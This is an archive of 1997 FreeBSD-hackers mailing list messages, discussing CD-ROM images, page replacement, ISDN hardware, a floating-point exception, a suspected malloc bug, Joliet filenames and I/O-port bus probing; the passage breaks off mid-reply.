Voice: 503.643.5559, Emergency: 503.799.2313 > > From owner-freebsd-hackers Thu Sep 18 05:59:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA03949 for hackers-outgoing; Thu, 18 Sep 1997 05:59:32 -0700 (PDT) Received: from kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA03942 for ; Thu, 18 Sep 1997 05:59:28 -0700 (PDT) Received: from atlanta (mfd-dial1-29.cybercom.net [209.21.137.29]) by kalypso.cybercom.net (8.8.7/8.6.12) with SMTP id IAA05591 for ; Thu, 18 Sep 1997 08:58:51 -0400 (EDT) Message-Id: <3.0.3.32.19970918085544.0091bdd0@cybercom.net> X-Sender: ksmm@cybercom.net X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.3 (32) Date: Thu, 18 Sep 1997 08:55:44 -0400 To: freebsd-hackers@FreeBSD.ORG From: The Classiest Man Alive Subject: Re: CDROM image In-Reply-To: References: <19970917202032.WM57415@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 10:01 AM 9/18/97 +0200, Tommy Hallgren wrote: >Ftp'ing 650MB using a fast connection is no problem, but doing the >ftp'installation at home using 33.6k modem is horror. I'd rather use the >fast connection and take a CD home and install from that. > >You folks keep forgetting that not everyone have a speedy connection at >home. Some of us don't have a fast one at all. :-( K.S. From owner-freebsd-hackers Thu Sep 18 06:19:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA04978 for hackers-outgoing; Thu, 18 Sep 1997 06:19:33 -0700 (PDT) Received: from hotmail.com (F59.hotmail.com [207.82.250.145]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA04970 for ; Thu, 18 Sep 1997 06:19:30 -0700 (PDT) Received: (qmail 14825 invoked by uid 0); 18 Sep 1997 13:18:59 -0000 Message-ID: <19970918131859.14824.qmail@hotmail.com> Received: from 207.87.46.98 by www.hotmail.com with HTTP; Thu, 18 Sep 1997 06:18:59 PDT X-Originating-IP: [207.87.46.98] From: "Douglas Jardine" To: toor@dyson.iquest.net Cc: hackers@FreeBSD.ORG Subject: Re: LRU implementation Content-Type: text/plain Date: Thu, 18 Sep 1997 06:18:59 PDT Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >From toor@dyson.iquest.net Mon Sep 15 13:02:41 1997 >> >None of the above. One way to describe it is "Not used recently >very often" :-). There are 2nd chance FIFO queues also. Umm. Can somebody please interpret this for me! I assume FreeBSD looks at the referenced bit to decide the "not used recently" part, but how does the "very often" part work? Where do the FIFO queues fit in the overall scheme? (If this is explained someplace a pointer will suffice). > >> >> The 4.3BSD book says that 4.3BSD uses 2-handed CLOCK but the 4.4BSD >> book is silent on this topic. Did FreeBSD diverge from 4.4BSD in >> this aspect? Does 4.4BSD use a 2-handed clock too? >> >FreeBSD is very different from 4.4BSD. As I remember, 4.4BSD is >a FIFO with 2nd chance. I am not very familiar with 2nd-Chance FIFOs so can somebody elaborate? As Joerg points out, on i386 the referenced bit is supported by hardware. But that by itself can't be used to construct a FIFO. So how is the FIFO formed? Once the FIFO is formed, I guess second chance would mean don't throw away the pages with referenced bit set. What is done with these pages - i.e. are they queued to the tail of the FIFO or left in place or ...? Thanks. -dj ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From owner-freebsd-hackers Thu Sep 18 06:43:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA06395 for hackers-outgoing; Thu, 18 Sep 1997 06:43:38 -0700 (PDT) Received: from fang.cs.sunyit.edu (chuck@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA06390 for ; Thu, 18 Sep 1997 06:43:35 -0700 (PDT) Received: (from chuck@localhost) by fang.cs.sunyit.edu (8.8.5/8.7.3) id NAA09915; Thu, 18 Sep 1997 13:43:33 GMT Date: Thu, 18 Sep 1997 13:43:33 GMT From: Charles Green Message-Id: <199709181343.NAA09915@fang.cs.sunyit.edu> In-Reply-To: "Jordan K. Hubbard" "Re: CDROM image" (Sep 17, 8:41) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: "Jordan K. Hubbard" Subject: Re: CDROM image Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I think it's a good idea. "Jordan K. Hubbard" stands accused of saying: } Date: Sep 17, 8:41 } Subject: Re: CDROM image } You mean they make it available for FTP? } } Sure, I could do that easily, I've just never knew that anyone would } really _want_ a 640MB file to download. What do other folks think? } } Jordan }-- End of excerpt from "Jordan K. Hubbard" -- Charles Green, PRC Inc. Rome Laboratory, NY From owner-freebsd-hackers Thu Sep 18 06:50:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA06746 for hackers-outgoing; Thu, 18 Sep 1997 06:50:22 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id GAA06734 for ; Thu, 18 Sep 1997 06:50:10 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id OAA09840; Thu, 18 Sep 1997 14:32:58 +0200 From: Luigi Rizzo Message-Id: <199709181232.OAA09840@labinfo.iet.unipi.it> Subject: Re: ISDN Modems To: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Date: Thu, 18 Sep 1997 14:32:57 +0200 (MET DST) Cc: peter@grendel.IAEhv.nl, root@bmccane.uit.net, hackers@FreeBSD.ORG In-Reply-To: from "Jamil J. Weatherbee" at Sep 18, 97 00:07:36 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > To be honest with you I thought about this for a few months, If you in the > US the best solution is something like an Ascend Pipeline 50 router (no > firewall) ($599), with a crossover (included) to an inexpensive NE2000 > card ($40). This is about twice as expensive as a Motorola Bitsurfer I think in europe as well it is way more convenient to have a router instead of an internal card. Prices are in fact comparable (I would say even a little bit lower) to those mentioned above, and going through a messy serial device driver does not help at all. The simplicity in setting up things pays back much more than the extra cost. Now if ISDN cards were sold in volumes and priced reasonably (i.e. as much as an NE2000, since they are actually simpler!) and accessed through a dedicated device driver, then things would certainly be different. Cheers Luigi From owner-freebsd-hackers Thu Sep 18 07:29:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA09044 for hackers-outgoing; Thu, 18 Sep 1997 07:29:05 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA09028 for ; Thu, 18 Sep 1997 07:28:43 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z-6) with ESMTP id QAA26400; Thu, 18 Sep 1997 16:30:24 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id QAA16141; Thu, 18 Sep 1997 16:35:31 +0200 (MEST) Message-ID: <19970918163531.11717@gil.physik.rwth-aachen.de> Date: Thu, 18 Sep 1997 16:35:31 +0200 From: Christoph Kukulies To: Terry Lambert Cc: Christoph Kukulies , freebsd-hackers@freefall.FreeBSD.org Subject: Re: FPE problem References: <199709161220.OAA05839@gil.physik.rwth-aachen.de> <199709171930.MAA08698@usr02.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709171930.MAA08698@usr02.primenet.com>; from Terry Lambert on Wed, Sep 17, 1997 at 07:30:44PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 07:30:44PM +0000, Terry Lambert wrote: > > I'm having a weird problem with a f2c program which is causing an FPE > > for a reason I cannot figure out. > > > > It happens in a complex expression in a fortran expression > > in a scientific (high energy physics) calculation program. > > You seem to be getting a lef-associtivity underflow in the FORTRAN > code and not in the C code. The only apparent difference is the > order of the divide. > > But then, I'm rusty. A little bit more info now: ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * z2 * (spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); (xxgdb) info float u: status 0x82e1: exceptions: INVALID LOS FPSTACK; flags: 0010; top 0 e: status 0x200: flags: 0010; top 0 control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; last instruction: opcode 0x1d0; pc 0x8:0xf01f9a96; operand 0x27:0x92844 regno tag msb lsb value %st(7) valid 3ff7ef1ea269b9378800 0.00729735 %st(6) valid c000e2f049da2892daf1 -3.54592 %st(5) valid bff9efbfe15ea0e63000 -0.0292663 %st(4) valid bff7efbfe15ea0e63000 -0.00731658 %st(3) valid bfee8fb318b8ce1a7800 -8.56516e-06 %st(2) valid bfeef46316e3382d2000 -1.45666e-05 %st(1) valid bfef8bb53b973a247800 -1.66545e-05 %st(0) => valid bfef947332ed75b2c000 -1.76966e-05 (xxgdb) What is LOS ? Loss of significance? When I'm seeing such a few steps before the exception occurs, does it mean that an exception is pending? ---------------------------vvv status 0x3920: exceptions: LOS; flags: 0001; top 7 control 0x1272: compute to 53 bits; round NEAREST; mask: DENORM UNDERF LOS; last instruction: opcode 0x6d9; pc 0x1f:0x1b280; operand 0x27:0x1aca0 regno tag msb lsb value %st(0) => valid 3ff7ef1ea269b9378800 0.00729735 %st(7) empty 3ffef89dcc5ab0803800 0.971158 %st(6) empty 3ffe8000000000000000 0.5 %st(5) empty 00000000000000000000 0 %st(4) empty 3ffe8c2938ee1f792000 0.547504 %st(3) empty 3fff8000000000000000 1 %st(2) empty bfffc59d300000000000 -1.54386 %st(1) empty 403dc8e6d27ab28298a0 7.23824e+18 (xxgdb) step > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. -- --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Thu Sep 18 07:59:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA11080 for hackers-outgoing; Thu, 18 Sep 1997 07:59:51 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA11072; Thu, 18 Sep 1997 07:59:32 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id RAA14234; Thu, 18 Sep 1997 17:04:33 +0200 (SAT) Received: by citadel via recvmail id 14201; Thu Sep 18 17:04:26 1997 by gram.cdsec.com (8.8.5/8.8.5) id QAA00397; Thu, 18 Sep 1997 16:51:34 +0200 (SAT) From: Graham Wheeler Message-Id: <199709181451.QAA00397@cdsec.com> Subject: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Thu, 18 Sep 1997 16:51:33 +0200 (SAT) Cc: hackers@freebsd.org, freebsd-bugs@freebsd.org, gram@gram.cdsec.com (Graham Wheeler) In-Reply-To: <2593.874490931@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 17, 97 12:08:51 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Poul and others This is a preliminary report, as it is still very early and the results we are seeing may be coincidental. Even after removing all non-reentrant calls from the SIGCHLD handler in our gateway program, adding asserts after every call to new, manually rechecking every call to memcpy, memset, strcpy, strcat, etc etc etc, we continued to experience the problems, namely the process either aborting in the malloc/free routines, or going into what appeared to be an infinite loop, where the program chewed CPU cycles but did nothing useful. In the latter case, sending a SIGABRT resulted in stack backtraces which also always ended in malloc() or free(). The recursive malloc call problem was solved by removing the non-reentrant calls, but it appears that heap corruption still takes place. This morning, as an act of near desperation, I linked the code with the libmalloc that is in the ports/devel directory. In fact I linked with the debug version libmalloc_d, which has far more comprehensive integrity checking. Since running the resulting version, there have been no crashes or freezes. As I say, it is still quite early to jump to conclusions, but the program has been running under heavy load for about three hours so far, whereas yesterday it would crash or freeze up within 30 minutes of starting. [For those who haven't been following this thread, this application is the core program in our firewall product, responsible for gatewaying almost all IP packets. The site in question has several thousand users who seem to do little other than surf the web. Thus the amount of memory allocation and freeing that takes place in this application is quite astronomical compared to typical applications. Amongst other allocations, every single packet is held in a dynamically allocated buffer, as is the state information associated with every TCP connection.] I'll follow up on this in the morning (South African time) - if the process is still running smoothly this would suggests that there may be a problem with the malloc/free code in libc. regards graham -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Thu Sep 18 08:19:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA12318 for hackers-outgoing; Thu, 18 Sep 1997 08:19:48 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA12309 for ; Thu, 18 Sep 1997 08:19:45 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id IAA06273; Thu, 18 Sep 1997 08:17:22 -0700 (PDT) To: nik@iii.co.uk cc: Mike Smith , hackers@FreeBSD.ORG Subject: Re: Different kernels for the bindist and boot.flp? In-reply-to: Your message of "Thu, 18 Sep 1997 12:45:22 BST." <19970918124522.57711@strand.iii.co.uk> Date: Thu, 18 Sep 1997 08:17:21 -0700 Message-ID: <6269.874595841@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is why I was thinking about seperating the bin dist into a bin dist and > a kernel dist. The new bin dist contains everything non-kernel specific, > the kernel dists each contain one kernel with support for a specific set of > features, and the kernel config file used to create them. You can do this already with the "synthetic dist" support. See /usr/src/release/scripts/*-make.sh for how the existing synthetic dists are made (a "synthetic" dist defined as one which was not actually created directly by doing a "make distribute"). There's nothing which says you couldn't pull the kernel out of bin, add a couple more kernels, and call it a kdist or something. Jordan From owner-freebsd-hackers Thu Sep 18 08:43:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA13566 for hackers-outgoing; Thu, 18 Sep 1997 08:43:02 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA13558 for ; Thu, 18 Sep 1997 08:42:58 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id IAA13488; Thu, 18 Sep 1997 08:42:07 -0700 (MST) From: Terry Lambert Message-Id: <199709181542.IAA13488@usr03.primenet.com> Subject: Re: CDROM image To: md6tommy@mdstud.chalmers.se (Tommy Hallgren) Date: Thu, 18 Sep 1997 15:42:06 +0000 (GMT) Cc: tlambert@primenet.com, jkh@time.cdrom.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Tommy Hallgren" at Sep 18, 97 10:03:58 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > In Windows95 everything looked fine. But in Linux(which I used back then) > > > every filename was in lower case. :-( > > > > In Windows95, long file names are case sensitive on storage, case > > insensitive on lookup. I believe lowercasing them was an acessability > > hack in the CDROM driver on Linux. > > They are lower case using FreeBSD too. :-( FreeBSD doesn't, so far as I know, support Joliet, which is what would be require to put out Windows 95 long file names. I think it's only putting out standard ISO9660 or "High Sierra" long names, which are monocased. Linux, on the other hand, is actually monocasing it. So they are doing the right thing to get the names, but the wrong thing once they have them. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 08:46:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA13857 for hackers-outgoing; Thu, 18 Sep 1997 08:46:50 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA13832; Thu, 18 Sep 1997 08:46:39 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id RAA07200; Thu, 18 Sep 1997 17:45:57 +0200 (CEST) To: Graham Wheeler cc: hackers@freebsd.org, freebsd-bugs@freebsd.org, gram@gram.cdsec.com.dk.tfs.com (Graham Wheeler) Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Sat, 18 Sep 1997 16:51:33 +0200." <199709181451.QAA00397@cdsec.com> Date: Thu, 18 Sep 1997 17:45:57 +0200 Message-ID: <7198.874597557@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709181451.QAA00397@cdsec.com>, Graham Wheeler writes: >Hi Poul and others > >This is a preliminary report, as it is still very early and the results >we are seeing may be coincidental. >I'll follow up on this in the morning (South African time) - if the >process is still running smoothly this would suggests that there >may be a problem with the malloc/free code in libc. Well, you'll still have to do more to convince me. The fact that two malloc implementations act differently is no proof of one of them being wrong, the different policies they use can make a bit difference in the outcome for errors in the main code. Imagine this: char *p = malloc(12); char *q = malloc(12); p[12] = 'B'; In the case of phkmalloc you have written into padding space, in the case of many other mallocs you have just destroyed the "back" pointer for the *q allocation. The results are very different. Another very common mistake is to trust the storage returned to contain zero bytes. Try the following 3 experiments: 1 set the 'A' flag to phkmalloc. 2 set the 'J' flag to phkmalloc. 3 set the 'Z' flag to phkmalloc. If they are any different in behaviour, they your code has a problem. Remember to keep fd#2 open to a logfile. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 08:48:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA14056 for hackers-outgoing; Thu, 18 Sep 1997 08:48:22 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA14051 for ; Thu, 18 Sep 1997 08:48:19 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id IAA14101; Thu, 18 Sep 1997 08:47:23 -0700 (MST) From: Terry Lambert Message-Id: <199709181547.IAA14101@usr03.primenet.com> Subject: Re: CDROM image To: nsmart@iona.com (Niall Smart) Date: Thu, 18 Sep 1997 15:47:22 +0000 (GMT) Cc: tlambert@primenet.com, md6tommy@mdstud.chalmers.se, jkh@time.cdrom.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Niall Smart" at Sep 18, 97 10:19:44 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Surely they are stored with case, but the Windows 95 search algorithm > ignores it? In Windows 95, and with Joliet CDROM's, yes. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 09:15:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA15914 for hackers-outgoing; Thu, 18 Sep 1997 09:15:35 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA15901; Thu, 18 Sep 1997 09:15:27 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id SAA16644; Thu, 18 Sep 1997 18:20:34 +0200 (SAT) Received: by citadel via recvmail id 16611; Thu Sep 18 18:19:43 1997 by gram.cdsec.com (8.8.5/8.8.5) id SAA00506; Thu, 18 Sep 1997 18:06:52 +0200 (SAT) From: Graham Wheeler Message-Id: <199709181606.SAA00506@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Thu, 18 Sep 1997 18:06:51 +0200 (SAT) Cc: hackers@freebsd.org, freebsd-bugs@freebsd.org In-Reply-To: <7198.874597557@critter.freebsd.dk> from "Poul-Henning Kamp" at Sep 18, 97 05:45:57 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >This is a preliminary report, as it is still very early and the results > >we are seeing may be coincidental. > > >I'll follow up on this in the morning (South African time) - if the > >process is still running smoothly this would suggests that there > >may be a problem with the malloc/free code in libc. > > Well, you'll still have to do more to convince me. I'll do my best... ;-) > The fact that two malloc implementations act differently is no proof > of one of them being wrong, the different policies they use can make > a bit difference in the outcome for errors in the main code. Agreed. > > Imagine this: > > char *p = malloc(12); > char *q = malloc(12); > p[12] = 'B'; > > In the case of phkmalloc you have written into padding space, > in the case of many other mallocs you have just destroyed the > "back" pointer for the *q allocation. The results are very > different. The debug libmalloc that I am now using uses the following layout for an allocated block: | prevlink | nextlink | size | memspace | size | i.e. the size is stored both immediately preceding and immediately following the useable space. As part of the consistency checking, these two sizes are compared and should match. This should catch almost all small overruns or underruns, and abort the process. So this malloc should be less tolerant of bugs in my code than pkhmalloc is, rather than more tolerant, > Another very common mistake is to trust the storage returned to > contain zero bytes. I certainly don't assume this. I am very careful to either memset the allocated memory to zero if necessary, or, in the case of C++ objects, to explicitly initialise every member variable in the constructor. These are lessons learnt long ago after much pain and suffering... > Try the following 3 experiments: > > 1 set the 'A' flag to phkmalloc. > > 2 set the 'J' flag to phkmalloc. > > 3 set the 'Z' flag to phkmalloc. > > If they are any different in behaviour, they your code has a > problem. I tried all of these already a couple of days back. They made no difference. > Remember to keep fd#2 open to a logfile. Doing so. Can you offer an explanation as to why the process never returns from the call to malloc, nor does it abort? This seems to indicate an infinite loop. Not having delved too deeply into your code, I can only speculate that the linked list is being made circular, so the process is in an infinite, looping traversal. Perhaps that is a check that can be added; namely that walking the list must always proceed forward, never backward (assuming that the list is kept in sequential order). -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Thu Sep 18 09:24:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16541 for hackers-outgoing; Thu, 18 Sep 1997 09:24:54 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16498; Thu, 18 Sep 1997 09:24:40 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id SAA10533; Thu, 18 Sep 1997 18:24:04 +0200 (CEST) To: Graham Wheeler cc: hackers@freebsd.org, freebsd-bugs@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Sat, 18 Sep 1997 18:06:51 +0200." <199709181606.SAA00506@cdsec.com> Date: Thu, 18 Sep 1997 18:24:04 +0200 Message-ID: <10531.874599844@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709181606.SAA00506@cdsec.com>, Graham Wheeler writes: >i.e. the size is stored both immediately preceding and immediately >following the useable space. As part of the consistency checking, >these two sizes are compared and should match. This should catch almost >all small overruns or underruns, and abort the process. So this >malloc should be less tolerant of bugs in my code than pkhmalloc is, >rather than more tolerant, again: depends. >Can you offer an explanation as to why the process never returns from >the call to malloc, nor does it abort? This seems to indicate an infinite >loop. Not having delved too deeply into your code, I can only speculate >that the linked list is being made circular, so the process is in an >infinite, looping traversal. Perhaps that is a check that can be added; >namely that walking the list must always proceed forward, never backward >(assuming that the list is kept in sequential order). This is about the only way you could get it to loop I think. That means that somebody wrote to memory malloc hadn't passed them (ie: your code). This would indicate a bug of the class where memory is written to after being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 09:28:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16814 for hackers-outgoing; Thu, 18 Sep 1997 09:28:16 -0700 (PDT) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16803 for ; Thu, 18 Sep 1997 09:28:10 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id JAA17940; Thu, 18 Sep 1997 09:27:13 -0700 (MST) From: Terry Lambert Message-Id: <199709181627.JAA17940@usr03.primenet.com> Subject: Re: INB question To: mike@smith.net.au (Mike Smith) Date: Thu, 18 Sep 1997 16:27:12 +0000 (GMT) Cc: tlambert@primenet.com, sos@sos.freebsd.dk, hackers@FreeBSD.ORG In-Reply-To: <199709181039.UAA00245@word.smith.net.au> from "Mike Smith" at Sep 18, 97 08:09:55 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > If Jonathan can get the early-kernel BIOS call stuff working, int15 may > still be the "right" way to go. Until then, how about you look for the > MCA configuration information? One would hope that its location and > format were documented. They are, sort of: INT 0x15 AH=0xCO: Gets a pointer to configuration information storead in the system BIOS ROM. This information often resides at F000:E6F5, but starting with the PS/2, IBM no longer retains a fixed location for this table. Bletch. Exactly the case I wanted. 8-(. > Note that Joerg's comment about a nonresponding bus giving random > values is *WRONG* for most busses; certainly at least ISA and PCI. > > The ISA specification explicitly requires bus pullup resistors. It may > be unwise to depend on reading 0xff back-to-back with a previous read/ > write operation, but the reader is welcome to calculate the RC time > constant for a transmission line with a few pF of capacitance and a 10K > (or less) pullup. Thank you. That's all I needed to know. The test I proposed seemed to work locally, but I don't have a lot of odd-ball hardware. > For PCI, I would expect Stefan or one of the PCI lawyers to have the > ultimate answer. I get the impression that PCI will actually generate > the equivalent of a "bus error" if a peripheral doesn't respond; in > reality the question is moot except in the face of defective hardware. Yes. So will EISA. That's why the port 0x84 inb is a lousy timing mechanism: it's the bus-sync cycle port, but it doesn't apply to ISA. 8-(. > Now, MCA. I *don't* have an MCA board here to look at, or the hardware > standard. If you are reading a port that is guaranteed to return a > known value on an MCA system, and the alternative is that there's > nothing there (ISA), then you are generally safe to assume that you can > expect 0xff to mean ISA, and (magic) to mean MCA. Yep. That's what I was looking at. > ... be wary of address ranges that may be inhabited by other > peripherals. That really goes without saying, doesn't it? Yeah; that's why I picked the extended MCA DMA ports for the detect; that, and I can do the probe non-destructively, with the expectation of a 0 bit in my data and no hardware configuratio changes resulting. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 09:28:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA16894 for hackers-outgoing; Thu, 18 Sep 1997 09:28:49 -0700 (PDT) Received: from usr03.primenet.com (root@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA16869 for ; Thu, 18 Sep 1997 09:28:40 -0700 (PDT) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id JAA17494; Thu, 18 Sep 1997 09:18:07 -0700 (MST) From: Terry Lambert Message-Id: <199709181618.JAA17494@usr03.primenet.com> Subject: Re: FPE problem To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Thu, 18 Sep 1997 16:18:06 +0000 (GMT) Cc: tlambert@primenet.com, kuku@gilberto.physik.RWTH-Aachen.DE, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19970918163531.11717@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Sep 18, 97 04:35:31 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > A little bit more info now: > > ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * > z2 * 